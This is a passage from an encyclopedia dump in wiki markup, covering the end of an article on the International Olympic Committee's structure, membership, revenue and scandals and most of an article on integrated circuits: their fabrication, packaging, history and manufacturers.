14. to promote a positive legacy from the Olympic Games to the host cities and host countries;

15. to encourage and support initiatives blending sport with culture and education;

16. to encourage and support the activities of the International Olympic Academy (“IOA”) and other institutions which dedicate themselves to Olympic education.

''See Olympic Charter, in force as from 1 September 2004''

== Organization ==
The powers of the IOC are exercised by its organs, namely:

1. the Session,

2. the IOC Executive Board,

3. the President
===The IOC Session===
The Session is the general meeting of the members of the IOC. It is the IOC’s supreme organ. Its decisions are final. Each IOC Member has one vote. 

An ordinary Session is held once a year. Extraordinary Sessions may be convened by the President or upon the written request of at least one third of the members.

Among others, the powers of the Session are:

1. To adopt or amend the Olympic Charter.

2. To elect the members of the IOC, the Honorary President, honorary members and honour members.

3. To elect the President, the Vice-Presidents and all other members of the IOC Executive Board.

4. To elect the host city of the Olympic Games.
===The IOC Executive Board===
The IOC Executive Board consists of the President, four Vice-Presidents and ten other members. All members of the IOC Executive Board are elected by the Session, in a secret ballot, by a majority of the votes cast.

The IOC Executive Board assumes the general overall responsibility for the administration of the IOC and the management of its affairs.

==IOC Members==
{{see|List of members of the International Olympic Committee}}

For most of its existence, the IOC was controlled by members who were co-opted, which means they were selected by other members. Countries that had hosted the Games were allowed two members, others one or none. When named, they became not representatives of their respective countries to the IOC, but rather to opposite, IOC members in their respective countries.

For a long time, members of the royalty were popular targets of co-option, and there are still some around, like Prince Albert de Monaco, and then former athletes. These last 10 years, the composition has evolved, in order to get a better representation of the sports world. Members seats have been allocated specifically to athletes, International Federations leaders and National Olympic Committees leaders. 

===Membership===
IOC members are natural persons. The total number of IOC members may not exceed 115.
Each member of the IOC is elected for a term of eight years and may be re-elected for one or several further terms.

1. A majority of members whose memberships are not linked to any specific function or
office; their total number may not exceed 70; there may be no more than one such member national of any given country;

2. Active athletes, the total number of whom may not exceed 15, elected for eight years by their peers during the Olympic Games;

3. Presidents or persons holding an executive or senior leadership position within IFs, associations of IFs or other organisations recognised by the IOC, the total number of whom may not exceed 15;

4. Presidents or persons holding an executive or senior leadership position within NOCs, or
world or continental associations of NOCs, the total number of whom may not exceed 15; there may be no more than one such member national of any given country within the IOC.

===Cessation of membership===
The membership of IOC members ceases in the following circumstances:

1. Resignation: any IOC member may cease his membership at any time by delivering his written resignation to the President.

2. Non re-election: any IOC member ceases to be a member without further formality if he is not re-elected.

3. Age limit: any IOC member ceases to be a member at the end of the calendar year during which he reaches the age of 70.

4. Failure to attend Sessions or take active part in IOC work for two consecutive years. 

5. Transfer of domicile or of main centre of interests to a country other than the
country that was his at the time of his election.

6. Members elected as active athletes cease to be a member upon ceasing to be a member of
the IOC Athletes’ Commission.

7. Presidents and persons holding an executive or senior leadership position within NOCs, world or continental associations of NOCs, IFs or associations of IFs or other organisations recognised by the IOC cease to be a member upon ceasing to exercise the function he was exercising at the time of his election.

8. Expulsion: an IOC member may be expelled by decision of the Session if such member has betrayed his oath or if the Session considers that such
member has neglected or knowingly jeopardised the interests of the IOC or acted in a way which is unworthy of the IOC.

''See Olympic Charter, in force as from 1 September 2004''

== Host city bids ==
Countries which wish to host the [[Summer Olympic Games]] or the [[Winter Olympic Games]] must bid for the organisation with the IOC, which has the ultimate authority of deciding where the Games will take place. The IOC members, representing most of the member countries, vote to decide where the Games will take place. Members from countries which have cities bidding to host the games are excluded from the voting process, up until the point where their city drops out of the contest.

== Olympic marketing ==
===Revenue===
The Olympic Movement generates revenue through five major programmes. The International Olympic Committee (IOC) manages broadcast partnerships and the TOP worldwide sponsorship programme. The Organising Committees for the Olympic Games (OCOGs) manage domestic sponsorship, ticketing and licensing programmes within the host country under the direction of the IOC.

The Olympic Movement generated a total of more than US$4 billion in revenue during the most recent Olympic quadrennium (2001 – 2004). The following chart provides details of the revenue generated from each major programme managed by the IOC and the OCOGs during this period.

===Revenue distribution===
The IOC distributes approximately 92% of Olympic marketing revenue to organisations throughout the Olympic Movement to support the staging of the Olympic Games and to promote the worldwide development of sport. The IOC retains approximately 8% of Olympic marketing revenue for the operational and administrative costs of governing the Olympic Movement. 

===The Organising Committees of the Olympic Games (OCOGs)===
The IOC provides TOP programme contributions and Olympic broadcast revenue to the OCOGs to support the staging of the Olympic Games and Olympic Winter Games:

*TOP Programme Revenue to OCOGs; the two OCOGs of each Olympic quadrennium generally share approximately 50% of TOP programme revenue and value-in-kind contributions, with approximately 30% provided to the summer OCOG and 20% provided to the winter OCOG.

*Broadcast Revenue to OCOGs; the IOC contributes 49% of the Olympic broadcast revenue for each Games to the OCOG. During the 2001 - 2004 Olympic quadrennium, the Salt Lake 2002 Organising Committee received US$443 million in broadcast revenue from the IOC, and the Athens 2004 Organising Committee received US$732 million.

*Domestic Programme Revenue to OCOGs; the OCOGs generate substantial revenue from the domestic marketing programmes that they manage within the host country, including domestic sponsorship, ticketing and licensing.

===National Olympic Committees (NOCs)===
The NOCs receive financial support for the training and development of Olympic teams, Olympic athletes and Olympic hopefuls. The IOC distributes TOP programme revenue to each of the NOCs throughout the world. The IOC also contributes Olympic broadcast revenue to Olympic Solidarity, an IOC organisation that provides financial support to NOCs with the greatest need.

The continued success of the TOP programme and Olympic broadcast agreements has enabled the IOC to provide increased support for the NOCs with each Olympic quadrennium. The IOC provided approximately US$318.5 million to NOCs for the 2001 - 2004 quadrennium.

===International Olympic Sports Federations (IFs)===
The IOC is now the largest single revenue source for the majority of IFs, with its contributions of Olympic broadcast revenue that assist the IFs in the development of their respective sports worldwide. The IOC provides financial support from Olympic broadcast revenue to the 28 IFs of Olympic summer sports and the seven IFs of Olympic winter sports after the completion of the Olympic Games and the Olympic Winter Games, respectively.

The continually increasing value of Olympic broadcast partnership has enabled the IOC to deliver substantially increased financial support to the IFs with each successive Games. The seven winter sports IFs shared US$85.8 million in Salt Lake 2002 broadcast revenue. The contribution to the 28 summer sports IFs from Athens 2004 broadcast revenue has not yet been determined, but the contribution is expected to mark a significant increase over the US$190 million that the IOC provided to the summer IFs following Sydney 2000.

===Other organisations===
The IOC contributes Olympic marketing revenue to the programmes of various recognised international sports organisations, including the International Paralympic Committee, the Paralympic Organising Committee, and the World Anti-Doping Agency (WADA).

See [http://www.olympic.org official site of the IOC]

== Scandals ==
The IOC has been involved in a number of scandals, most involving members taking advantage of the bidding cities to extort financial and other rewards.  [[2002 Winter Olympic bid scandal|The most widely publicised example]] occurred in relation to the [[2002 Winter Olympics]] in [[Salt Lake City]] but earlier stories, reported by British journalists [[Vyv Simson]] and [[Andrew Jennings]], date back decades.  After the Salt Lake City scandal, efforts were made to clamp down on the most blatant misbehaviour of IOC delegates (who used their position as voters for the host city to extract favours from bidders for the games), and an advisory board of recently retired former athletes has been set up.  Critics of the organisation believe more fundamental reform is required, for instance replacing the self-perpetuating system of delegate selection with a more democratic process.

==See also== 
*[[List of members of the International Olympic Committee]]
*[[List of IOC meetings]]
*[[Olympic Congress]]
*[[International Paralympic Committee]]
*[[List of IOC country codes]]
*[[Olympic Order]]

==Reference==
*{{cite book | first= | last= | year= | title= The Lord of The Rings. Power, Money and Drugs in the Modern Olympics.| publisher= Shuster &amp; Shuster | id=ISBN 0-671-71122-9 | url= | authorlink= | author= Simson &amp; Jennings}}

==External links==
*[http://www.olympic.org/ IOC Official Website]
*[http://www.olympicwatch.org/ Olympic Watch]
*[http://www.gamesbids.com/english/archives/past.shtml Overview of IOC-elections of hosting cities]

&lt;!-- en-GB, -ise --&gt;

[[Category:Olympics]]
[[Category:Sports organisations]]

[[de:Internationales Olympisches Komitee]]
[[et:Rahvusvaheline Olümpiakomitee]]
[[el:Διεθνής Ολυμπιακή Επιτροπή]]
[[es:Comité Olímpico Internacional]]
[[eo:Internacia Olimpika Komitato]]
[[fr:Comité international olympique]]
[[ko:국제올림픽위원회]]
[[id:Komite Olimpiade Internasional]]
[[it:Comitato Olimpico Internazionale]]
[[he:הוועד האולימפי הבינלאומי]]
[[lt:Tarptautinis olimpinis komitetas]]
[[nl:Internationaal Olympisch Comité]]
[[ja:国際オリンピック委員会]]
[[no:Den internasjonale olympiske komité]]
[[pl:Międzynarodowy Komitet Olimpijski]]
[[pt:Comité Olímpico Internacional]]
[[ru:Международный олимпийский комитет]]
[[sk:Medzinárodný olympijský výbor]]
[[sl:Mednarodni olimpijski komite]]
[[fi:Kansainvälinen olympiakomitea]]
[[sv:IOK]]
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[[zh:国际奥林匹克委员会]]</text>
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  <page>
    <title>Integrated circuit</title>
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      <text xml:space="preserve">{{backlink|Electronics}}
{{rootlink}}

[[Image:SEM integrated circuit (400x).jpg|right|thumb|300px|[[Scanning electron microscope|SEM]] image of an integrated circuit showing defects in the [[aluminium]] layer deposition (shown in [[cyan]]).]]

[[Image:Diopsis.jpg|right|thumb|300px|Integrated circuit showing memory blocks, logic and input/output pads around the periphery]]
  
A [[monolithic]] '''integrated circuit (IC)''' or often referred to as a '''microchip''' or simply '''chip''' is a miniaturized [[electronic circuit]] (consisting mainly of [[semiconductor device]]s, as well as [[passive component]]s) which has been manufactured in the surface of a thin substrate of [[semiconductor]] material.

A [[hybrid circuit|hybrid integrated circuit]] is a miniaturized electronic circuit constructed of individual semiconductor devices, as well as passive components, bonded to a substrate or circuit board.

This article is about monolithic integrated circuits.

==Introduction==
The integrated circuit was made possible by experimental discoveries which showed that [[semiconductor device]]s could perform the functions of [[vacuum tube]]s and by mid-20th-century technology advancements in [[Fabrication (semiconductor)|semiconductor device fabrication]]. The integration of large numbers of tiny [[transistor]]s onto a small chip was an enormous improvement over the manual assembly of [[vacuum tube]]s and circuits using discrete [[components]]. The integrated circuit's [[mass production]] capability, reliability, and ease of adding [[complexity]] prompted the use of standardized ICs in place of designs using discrete transistors which quickly pushed vacuum tubes into [[obsolescence]].  There are two main advantages of ICs over discrete circuits - cost and performance.  The cost is low because the chips, with all their components, are printed as a unit by [[photolithography]] and not constructed a transistor at a time. As of 2006, chip areas range from a few square [[millimeter|mm]] to around 250 [[millimeter|mm]]&lt;sup&gt;2&lt;sup&gt;, with up to 1 million [[transistor]]s per [[millimeter|mm]]&lt;sup&gt;2&lt;sup&gt;.

==Advances in integrated circuits==
Among the most advanced integrated circuits are the [[microprocessor]]s, which control everything from [[computer]]s to [[cellular phone]]s to digital [[microwave oven]]s. Digital [[Random_access_memory|memory chip]]s are another family of integrated circuit that is crucially important to the modern [[information society]].    While cost of designing and developing a complex integrated circuit is quite high,  when spread across typically millions of production units the individual IC cost is minimized.  The performance of ICs is high because the small size allows short traces which in turn allows low [[Electric power|power]] logic (such as CMOS) to be used at fast switching speeds. 

ICs have consistently migrated to smaller feature sizes over the years, allowing more circuitry to be packed on each chip - see [[Moore's law]].  As the feature size shrinks, almost everything improves - the cost and the power consumption go down, and the speed goes up.  Since these gains are apparent to the end user, there is fierce competition among the manufacturers to use finer geometries.   This process, and the expected progress over the next few years, is well described by the [[International Technology Roadmap for Semiconductors]], or [[ITRS]].

==Popularity of ICs==
Only a half century after their development was initiated, integrated circuits have become ubiquitous. [[Computer]]s, [[cellular phone]]s, and other [[digital]] [[appliance]]s are now inextricable parts of the structure of modern societies. That is, modern [[computing]], [[communication]]s, [[manufacturing]] and [[transport]] systems, including the [[Internet]], all depend on the existence of integrated circuits. Indeed, many [[scholar]]s believe that the [[digital revolution]] brought about by integrated circuits was one of the most significant occurrences in the [[history]] of [[mankind]].

==Classification and complexity==
[[Image:cmosic.JPG|thumb|A [[CMOS|CMOS]] [[4000_series|4000]] IC]]
Integrated circuits can be classified into [[analog circuit|analog]], [[digital circuit|digital]] and [[mixed-mode integrated circuit|mixed signal]] (both analog and digital on the same chip).   
   
Digital integrated circuits can contain anything from one to millions of [[logic gate]]s, [[flip-flop (electronics)|flip-flop]]s, [[multiplexer]]s, and other circuits in a few square millimeters. The small size of these circuits allows high speed, low power dissipation, and reduced manufacturing cost compared with board-level integration. Analog integrated circuits perform analog functions like [[Amplifier|amplification]], [[active filter]]ing, [[demodulation]], [[Frequency mixer|mixing]], etc. [[Analog-to-digital converter|ADC]]s and [[digital-to-analog converter|DAC]]s are the key elements of mixed signal ICs. They convert signals between analog and digital formats. Analog ICs ease the burden on circuit designers by having expertly designed analog circuits available instead of designing a difficult analog circuit from scratch.

The growth of complexity of integrated circuits follows a trend called &quot;[[Moore's Law]]&quot;, first observed by [[Gordon Moore]] of [[Intel]]. Moore's Law in its modern interpretation states that the number of transistors in an integrated circuit doubles every two years. By the year 2000 the largest integrated circuits contained hundreds of millions of transistors. It is difficult to say whether the trend will continue (see [[technological singularity]]).

==Manufacture==
    
===Fabrication===
''Main article: [[Semiconductor fabrication]].''   
   
The [[semiconductor]]s of the [[periodic table]] of the [[chemical element]]s were identified as the most likely materials for a ''[[solid state]] [[vacuum tube]]'' by researchers like [[William Shockley]] at [[Bell Laboratories]] starting in the 1930s. Starting with [[copper oxide]], proceeding to [[germanium]], then [[silicon]], the materials were systematically studied in the 1940s and 1950s. Today, silicon [[monocrystal]]s are the main [[Substrate (printing)|substrate]] used for ''integrated circuits (ICs)'' although some III-V compounds of the periodic table such as [[gallium arsenide]] are used for specialised applications like [[LEDs]], [[lasers]], and the highest-speed integrated circuits. It took decades to perfect methods of creating [[crystal]]s without defects in the [[crystalline structure]] of the semiconducting material.   
    
[[Semiconductor]] ICs are fabricated in a layer process which includes these key process steps:   
    
*Imaging   
*Deposition   
*Etching   
   
The main process steps are supplemented by doping, cleaning and planarisation steps.   
    
Mono-crystal [[silicon]] [[wafer (electronics)|wafers]] (or for special applications, [[silicon on sapphire]] or [[gallium arsenide]] wafers) are used as the ''substrate''. [[Photolithography]] is used to mark different areas of the substrate to be [[Doping (Semiconductors)|doped]] or to have polysilicon, insulators or metal (typically [[aluminium]]) tracks deposited on them.    
[[Image:Integrated circuit 0101.jpg|thumb|right|250px|Criss-crossing geometry of the layers of an IC]]   
*For a [[CMOS]] process, for example, a [[transistor]] is formed by the criss-crossing intersection of striped layers. The stripes can be monocrystalline substrate, doped layers, perhaps insulator layers or polysilicon layers. Some etched vias to the doped layers might interconnect layers with [[metal]] conducting tracks.    
*The criss-crossed checkerboard-like (see image above) transistors are the most common part of the [[Electrical network|circuit]], each checker forming a transistor.    
*[[resistor|Resistive structures]], meandering stripes of varying lengths, form the loads on the circuit. The ratio of the length of the resistive structure to its width, combined with its sheet resistivity determines the resistance.    
*[[capacitor|Capacitive structures]], in form very much like the parallel conducting plates of a traditional electrical capacitor, are formed according to the area of the &quot;plates&quot;, with insulating material between the plates. Owing to limitations in size, only very small capacitances can be created on an IC.   
*More rarely, [[inductor|inductive structures]] can be simulated by [[gyrator]]s.    
    
Since a CMOS device only draws current on the ''transition'' between [[boolean algebra|logic]] [[State (computer science)|state]]s, CMOS devices consume much less current than [[bipolar transistor|bipolar]] devices. 

A [[RAM|memory device]] is the most regular type of integrated circuit; the highest density devices are thus memories; but even a [[microprocessor]] will have memory on the chip. (See the regular array structure at the bottom of the first image.) Although the structures are intricate &amp;ndash; with widths which have been shrinking for decades &amp;ndash; the layers remain much thinner than the device widths. The layers of material are fabricated much like a photographic process, although [[light]] [[wave]]s in the [[visible spectrum]] cannot be used to &quot;expose&quot; a layer of material, as they would be too large for the features. Thus [[photon]]s of higher frequencies (typically [[ultraviolet]]) are used to create the patterns for each layer. Because each feature is so small, [[electron microscope]]s are essential tools for a [[process]] [[engineer]] who might be [[debugging]] a fabrication process.   

Each device is tested before packaging. The wafer is then cut into small rectangles called ''die''. Each die is then connected into a package using aluminium (or occasionally [[gold]]) wires which are [[welding|welded]] to ''pads'', usually found around the edge of the die. After packaging, the devices go through final test on very expensive automated testers, which can account for over 25 percent of the cost of fabrication. As of [[2005]], a fabrication facility (commonly known as a ''[[semiconductor]] fab'') costs over a billion US Dollars to construct, because much of the operation is automated. The most advanced processes employ the following techniques:   
* The wafers are up to 300 mm in diameter (wider than a common dinner plate).   
* Use of 90 nanometer or smaller chip manufacturing process. [[Intel]], [[IBM]], and [[AMD]] are using 90 nanometers for their [[central processing unit|CPU]] chips, and Intel has started using a 65 nanometer process.   {{citeneeded}}
* [[Copper-based chips|Copper interconnects]] where copper wiring replaces aluminium for interconnects.   
* [[Low-K]] dielectric insulators.   
* [[Silicon on insulator]] (SOI)   
* [[Strained silicon]] in a process used by [[IBM]] known as [[Strained silicon directly on insulator]] (SSDOI)

===Packaging===
The earliest integrated circuits were packaged in ceramic flat packs, which continued to be used by the military for their reliability and small size for many years. Commercial circuit packaging quickly moved to the [[dual in-line package]] (DIP), first in ceramic and later in plastic. In the 1980s pin counts of VLSI circuits exceeded the practical limit for DIP packaging, leading to [[pin grid array]] (PGA) and [[leadless chip carrier]] (LCC) packages. [[Surface mount]] packaging appeared in the early 1980s and became popular in the late 1980s, using finer lead pitch with leads formed as either gull-wing or J-lead, as exemplified by [[Small-Outline Integrated Circuit]]. A carrier which occupies an area about 30 &amp;ndash; 50% less than an equivalent [[dual in-line package|DIP]], with a typical thickness that is 70% less. This package has &quot;gull wing&quot; leads protruding from the two long sides and a lead spacing of 0.050 inches.   
    
[[Small-Outline Integrated Circuit]] (SOIC) and [[PLCC]] packages. In the late 1990s, [[PQFP]] and [[thin small-outline package|TSOP]] packages became the most common for high pin count devices, though PGA packages are still often used for high-end [[microprocessor]]s.   
    
[[Ball grid array]] (BGA) packages have existed since the 1970s.

Traces out of the die, through the package, and into the [[printed circuit board]] have very different electrical properties, compared to on-chip signals.  They require special design techniques and need much more electric power than signals confined to the chip itself.

When multiple die are put in one package, it is called SiP, for ''[[System In Package]]''.  When multiple die are combined on a small substrate, often ceramic, it's called a MCM, or [[Multi-Chip Module]].  The boundary between a big MCM and a small printed circuit board is sometimes fuzzy.

==History, origins and generations==
    
===The birth of the IC===
The integrated circuit was first conceived by a radar scientist, [[Geoffrey Dummer|Geoffrey W.A. Dummer]] (born 1909), working for the Royal Radar Establishment of the British [[Ministry of Defence (United Kingdom)|Ministry of Defence]], and published in [[Washington, D.C.]] on May 7, 1952. Dummer unsuccessfully attempted to build such a circuit in 1956.   
    
The first integrated circuits were manufactured independently by two scientists: [[Jack Kilby]] of [[Texas Instruments]] filed a patent for a &quot;Solid Circuit&quot; made of [[germanium]] on February 6, 1959. Kilby received patents US3138743, US3138747, US3261081, and US3434015. [[Robert Noyce]] of [[Fairchild Semiconductor]] was awarded a patent for a more complex &quot;unitary circuit&quot; made of Silicon on April 25, 1961. (See [http://www.ti.com/corp/docs/kilbyctr/jackbuilt.shtml the Chip that Jack built] for more information.)   
    
Noyce credited [[Kurt Lehovec]] of [[Sprague Electric]] for the ''principle of [[p-n junction]] isolation'' caused by the action of a biased p-n junction (the diode) as a key concept behind the IC.{{fn|Lehovec}}

===SSI, MSI, LSI===
The first integrated circuits contained only a few transistors. Called &quot;'''Small-Scale Integration'''&quot; ('''SSI'''), they used circuits containing transistors numbering in the tens.   
    
SSI circuits were crucial to early aerospace projects, and vice-versa. Both the [[Minuteman missile]] and [[Apollo program]] needed lightweight digital computers for their inertially-guided flight computers; the [[Apollo guidance computer]] led and motivated the integrated-circuit technology, while the Minuteman missile forced it into mass-production.    
    
These programs purchased almost all of the available integrated circuits from 1960 through 1963, and almost alone provided the demand that funded the production improvements to get the production costs from $1000/circuit (in 1960 dollars) to merely $25/circuit (in 1963 dollars).   
    
The next step in the development of integrated circuits, taken in the late 1960s, introduced devices which contained hundreds of transistors on each chip, called &quot;'''Medium-Scale Integration'''&quot; ('''MSI''').   
    
They were attractive economically because while they cost little more to produce than SSI devices, they allowed more complex systems to be produced using smaller circuit boards, less assembly work (because of fewer separate components), and a number of other advantages.   
    
Further development, driven by the same economic factors, led to &quot;'''Large-Scale Integration'''&quot; ('''LSI''') in the mid 1970s, with tens of thousands of transistors per chip.   
    
LSI circuits began to be produced in large quantities around 1970, for computer main memories and pocket calculators.   
    
===VLSI===
The final step in the development process, starting in the 1980s and continuing on, was &quot;Very Large-Scale Integration&quot; ([[VLSI]]), with hundreds of thousands of transistors, and beyond (well past several million in the latest stages).   
    
For the first time it became possible to fabricate a [[Central processing unit|CPU]] on a single integrated circuit, to create a [[microprocessor]]. In [[1986]] the first one megabit [[Random Access Memory|RAM]] chips were introduced, which contained more than one million transistors. Microprocessor chips produced in [[1994]] contained more than three million transistors.   
    
This step was largely made possible by the codification of &quot;design rules&quot; for the [[CMOS]] technology used in VLSI chips, which made production of working devices much more of a systematic endeavour. (See the 1980 landmark text by [[Carver Mead]] and [[Lynn Conway]] referenced below.)

===ULSI, WSI, SOC===
To reflect further growth of the complexity, the term '''ULSI''' that stands for &quot;'''Ultra-Large Scale Integration'''&quot; was proposed for chips of complexity more than 1 million of transistors. However there is no qualitative leap between VLSI and ULSI, hence normally in technical texts the &quot;VLSI&quot; term covers ULSI as well, and &quot;ULSI&quot; is reserved only for cases when it is necessary to emphasize the chip complexity, e.g. in marketing.   
    
The most extreme integration technique is '''wafer-scale integration''' ('''WSI'''), which uses whole uncut wafers containing entire computers (processors as well as memory). Attempts to take this step commercially in the 1980s (e.g. by [[Gene Amdahl]]) failed, mostly because of defect-free manufacturability problems, and it does not now seem to be a high priority for industry.   
    
The WSI technique failed commercially, but advances in semiconductor manufacturing allowed for another attack on the IC complexity, known as '''[[System-on-a-chip|System-on-Chip]]''' ('''SOC''') design. In this approach, components traditionally manufactured as separate chips to be wired together on a [[printed circuit board]] are designed to occupy a single chip that contains memory, microprocessor(s), peripheral interfaces, Input/Output logic control, data converters, and other components, together composing the whole electronic system.

==Other developments==
In the 1980s [[programmable logic device|programmable integrated circuits]] were developed. These devices contain circuits whose logical function and connectivity can be programmed by the user, rather than being fixed by the integrated circuit manufacturer. This allows a single chip to be programmed to implement different LSI-type functions such as [[logic gate]]s, [[adder (electronics)|adders]], and [[processor register|registers]]. Current devices named [[FPGA]]s (Field Programmable Gate Arrays) can now implement tens of thousands of LSI circuits in parallel and operate up to 400 MHz.   
    
The techniques perfected by the integrated circuits industry over the last three decades have been used to create microscopic machines, known as [[MEMS]]. These devices are used in a variety of commercial and defense applications, including projectors, ink jet printers, and accelerometers used to deploy the airbag in car accidents.   
    
In the past, radios could not be fabricated in the same low-cost processes as microprocessors. But since 1998, a large number of radio chips have been developed using CMOS processes. Examples include Intel's DECT cordless phone, or [[Atheros]]'s 802.11 card.

==Silicon Graffiti==
Ever since ICs were created, some chip designers have used the silicon surface area for surreptitious, non-functional images or words.  These are sometimes referred to as [[Chip art|Chip Art]], or ''Silicon Art'', or ''Silicon Graffiti'', or ''Silicon Doodling''.  For an overview of this practice, see the article [http://www.spectrum.ieee.org/careers/careerstemplate.jsp?ArticleId=p030202 The Secret Art of Chip Graffiti], from the IEEE magazine ''Spectrum''.

==Key industrial and academic data==

===Notable ICs===
*The [[555 timer IC|555]] common [[multivibrator]] subcircuit (common in electronic timing circuits)   
*The [[741 operational amplifier]]   
*[[7400 series]] [[Transistor-transistor logic|TTL]] logic building blocks   
*[[4000 series]], the [[CMOS]] counterpart to the 7400 series   
*[[Intel 4004]], the world's first [[microprocessor]]   
*The [[MOS Technology 6502]] and [[Zilog Z80]] microprocessors, used in many [[home computer]]s

===Manufacturers===
A list of notable manufacturers; some operating, some defunct:   
*[[Alcatel]]   
*[[AMD]] (Advanced Micro Devices; founded by ex-Fairchild employees)
*[[Analog Devices]]   
&lt;!--*[[Applied Materials]]--&gt;&lt;!--Makes IC production equipment, not ICs themselves--&gt;
*[[ATI Technologies]] (Array Technologies Incorporated; acquired parts of [[Tseng Labs]] in 1997)
*[[Agere Systems]] (formerly part of [[Lucent]], which was formerly part of [[AT&amp;T]])   
*[[Atmel]] (co-founded by ex-Intel employee)
*[[MOS Technology|Commodore Semiconductor Group]] (formerly MOS Technology)
*[[Fairchild Semiconductor]] (founded by ex-Shockley Semiconductor employees: the &quot;[[Traitorous Eight]]&quot;)
*[[Intersil]]
*[[Freescale Semiconductor]] (formerly part of [[Motorola]])      
*[[MOS Technology|GMT Microelectronics]] (formerly Commodore Semiconductor Group)
*[[IBM]] (International Business Machines)
*[[Infineon Technologies]] (formerly part of [[Siemens AG|Siemens]])   
*[[Intel]] (founded by ex-Fairchild employees)
*[[MOS Technology]] (founded by ex-Motorola employees)
*[[Mostek]] (founded by ex-Texas Instruments employees)
*[[National Semiconductor]] (aka &quot;NatSemi&quot;; founded by ex-Fairchild employees)
*[[Nordic Semiconductor]] (formerly known as Nordic VLSI)
*[[NEC Corporation]] (formerly known as Nippon Electric Company)
*[[NVIDIA]] (acquired IP of competitor [[3dfx]] in 2000; 3dfx was co-founded by ex-Intel employee)
*[[Philips]]   
*[[PMC-Sierra]] (from the former Pacific Microelectronics Centre and Sierra Semiconductor, the latter co-founded by ex-NatSemi employee)
*[[Renesas Technology Corporation|Renesas]] (joint venture of [[Hitachi, Ltd.|Hitachi]] and [[Mitsubishi Electric Corporation|Mitsubishi Electric]])
*[[Rohm]]
* [http://www.smartcodecorp.com SmartCode Corp.]
*[[STMicroelectronics]] (formerly SGS Thomson)   
*[[Texas Instruments]]   
*[[VIA Technologies]] (founded by ex-Intel employee) (part of [[Formosa Plastics Group]])
*[[Xilinx]] (founded by ex-ZiLOG employee)
*[[ZiLOG]] (founded by ex-Intel employees) (part of [[Exxon]] 1980&amp;ndash;89; now owned by [[Texas Pacific Group|TPG]])

===VLSI conferences===

*ISSCC &amp;ndash; IEEE International Solid-State Circuits Conference
*CICC &amp;ndash; IEEE Custom Integrated Circuit Conference
*ISCAS &amp;ndash; IEEE International Symposium on Circuits and Systems
*VLSI &amp;ndash; IEEE International Conference on VLSI Design 
*DAC &amp;ndash; Design Automation Conference 
*ICCAD &amp;ndash; International Conference on Computer Aided Design
*ESSCIRC &amp;ndash; European Solid-State Circuits Conference
*ISLPED &amp;ndash; International Symposium on Low Power and Design 
*ISPD &amp;ndash; International Symposium on Physical Design
*ISQED &amp;ndash; International Symposium on Quality Electronic Design
*DATE &amp;ndash; Design and Test in Europe
*ICCD &amp;ndash; International Conference on Computer Design
*IEDM &amp;ndash; IEEE International Electron Devices Meeting
*GLSVLSI &amp;ndash; IEEE Great Lakes Symposium on VLSI
*ASP-DAC &amp;ndash; Asia and South Pacific Design Automation Conference
*MWSCAS &amp;ndash; IEEE Midwest Symposium on Circuits and Systems
*ICSVLSI &amp;ndash; IEEE Computer Society Annual Symposium on VLSI
*EDS &amp;ndash; IEEE EDS Meetings Calendar 
*EDS &amp;ndash; IEEE EDS Sponsored, Cosponsored &amp; Topical Conferences

===VLSI journals===
*ED &amp;ndash; [http://www.ieee.org/organizations/pubs/transactions/ted.htm IEEE Transactions on Electron Devices]  
*EDL &amp;ndash; [http://www.ieee.org/organizations/pubs/transactions/edl.htm IEEE Electron Device Letters]   
*CAD &amp;ndash; [http://www.ieee.org/organizations/pubs/transactions/tcadics.htm IEEE Transactions on Computer-Aided Design of Integrated Circuits and Systems]   
*JSSC &amp;ndash; [http://www.ieee.org/organizations/pubs/transactions/jssc.html  IEEE Journal of Solid-State Circuits]   
*VLSI &amp;ndash; [http://www.ieee.org/portal/pages/pubs/transactions/tvlsi.html IEEE Transactions on Very Large Scale Integration (VLSI) Systems]   
*CAS II &amp;ndash; [http://www.ieee.org/portal/pages/pubs/transactions/tcs2.html IEEE Transactions on Circuits and Systems II: Analogy and Digital Signal Processing]  
*SM &amp;ndash; [http://www.ieee.org/portal/pages/pubs/transactions/tsm.html IEEE Transactions on Semiconductor Manufacturing] 
*SSE &amp;ndash; Solid-State Electronics   
*SST &amp;ndash; Solid-State Technology   
*TCAD &amp;ndash; Journal of Technology Computer-Aided Design

==Branch pages==
*[[Clean room]]   
*[[Current mirror]]   
*[[Ion implantation]]  

==See also==
*[[Computer engineering]]   

*[[Electrical engineering]]   
*[[Electronics]]   
*[[Emitter_Coupled_Logic|Emitter-Coupled Logic (ECL)]]
*[[Hybrid circuit]]  
*[[Vacuum_tube#Integrated_circuit_vacuum_tubes|Integrated circuit vacuum tube]]
*[[Integrated injection logic]]  
 
*[[Mixed-mode integrated circuit]]   
*[[Transistor-transistor logic|Transistor-transistor logic (TTL)]]   
*[[Microcontroller]]   
*[[Moore's law]]   
*[[Semiconductor manufacturing]]  
*[[Silicon Doodling]]  
*[[Simulation]]   
*[[Sound chip]]   
*[[SPICE]], [[Hardware description language|HDL]], [[ZIF]], [[Automatic test pattern generation]]

==References==
Academic:   

* Mead, C. and Conway, L. (1980). ''Introduction to VLSI Systems''. Addison-Wesley. ISBN 0-201-04358-0.   
* Kang, S. and Leblebici, Y. (2002). ''CMOS Digital Integrated Circuits Analysis &amp; Design''. McGraw-Hill. ISBN 0072460539.   
* Hodges, D.A., Jackson H.G. and Saleh, R. (2003). ''Analysis and Design of Digital Integrated Circuits''. McGraw-Hill. ISBN 0072283653.   
*  Jan M. Rabaey, Anantha Chandrakasan, and Borivoje Nikolic (1996 - first edition).  ''Digital Integrated Circuits, 2nd Edition''[http://bwrc.eecs.berkeley.edu/IcBook],'' ISBN: 0-13-090996-3 '', Publisher: Prentice Hall
    
Patents:   
*{{anb|Lehovec}} Kurt Lehovec's patent on the isolation p-n junction: US patent 3 029 366 awarded on April 10, 1962, filed April 22, 1959. Robert Noyce credits Lehovec in his article &amp;ndash; &quot;Microelectronics&quot;, ''[[Scientific American]]'', September 1977, Volume 23, Number 3, pp. 63&amp;ndash;9.

==External links==
{{Commons|Category:Microprocessors|Integrated circuit}}
    
;Patents
*[http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=3138743.WKU.&amp;OS=PN/3138743&amp;RS=PN/3138743 US3138743] &amp;ndash; Miniaturized electronic circuit &amp;ndash; [[Jack Kilby|J. S. Kilby]]   
